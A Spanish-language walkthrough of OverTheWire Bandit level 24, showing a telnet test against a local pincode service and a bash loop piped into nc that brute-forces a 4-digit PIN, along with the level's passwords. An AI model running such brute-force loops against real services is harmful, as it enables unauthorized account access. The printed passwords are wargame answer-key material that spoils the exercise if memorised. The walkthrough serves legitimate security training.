OverTheWire

Bandit 24

Bienvenido al nivel 24 de Bandit en OverTheWire

En este nivel nos indican que la contraseña al siguiente nivel la obtendremos indicando la contraseña de este nivel y un pin secreto de 4 digitos en el puerto 30002.

Nos dice que la unica forma es usando fuerza bruta con las 10000 posibilidades que hay.

Ya de primeras esto llama a un script con un bucle, divertido….

Probamos la primera conexion:

telnet localhost 30002
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
hVQMk3lJNsmQ7VF3ubyrNNBom7BOgVXv
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct current password and pincode. Try again.

Bien, con esto sacamos que el formato es:
XXXXXXXXXXXX [espacio] XXXX

Con un rango de entre 0000 y 9999, incuyendo los 0’s.

Construimos una linea de codigo en la que le pasamos al puerto el formato deseado:

for i in {0000..9999} ; do echo "hVQMk3lJNsmQ7VF3ubyrNNBom7BOgVXv $i"; done | nc localhost 30002

Veremos que salta la solución.

Correct!
The password of user bandit25 is SoHfqMOEXXXXXXX

¡Vamos al siguiente nivel con esta contraseña!

Enlaces de Interes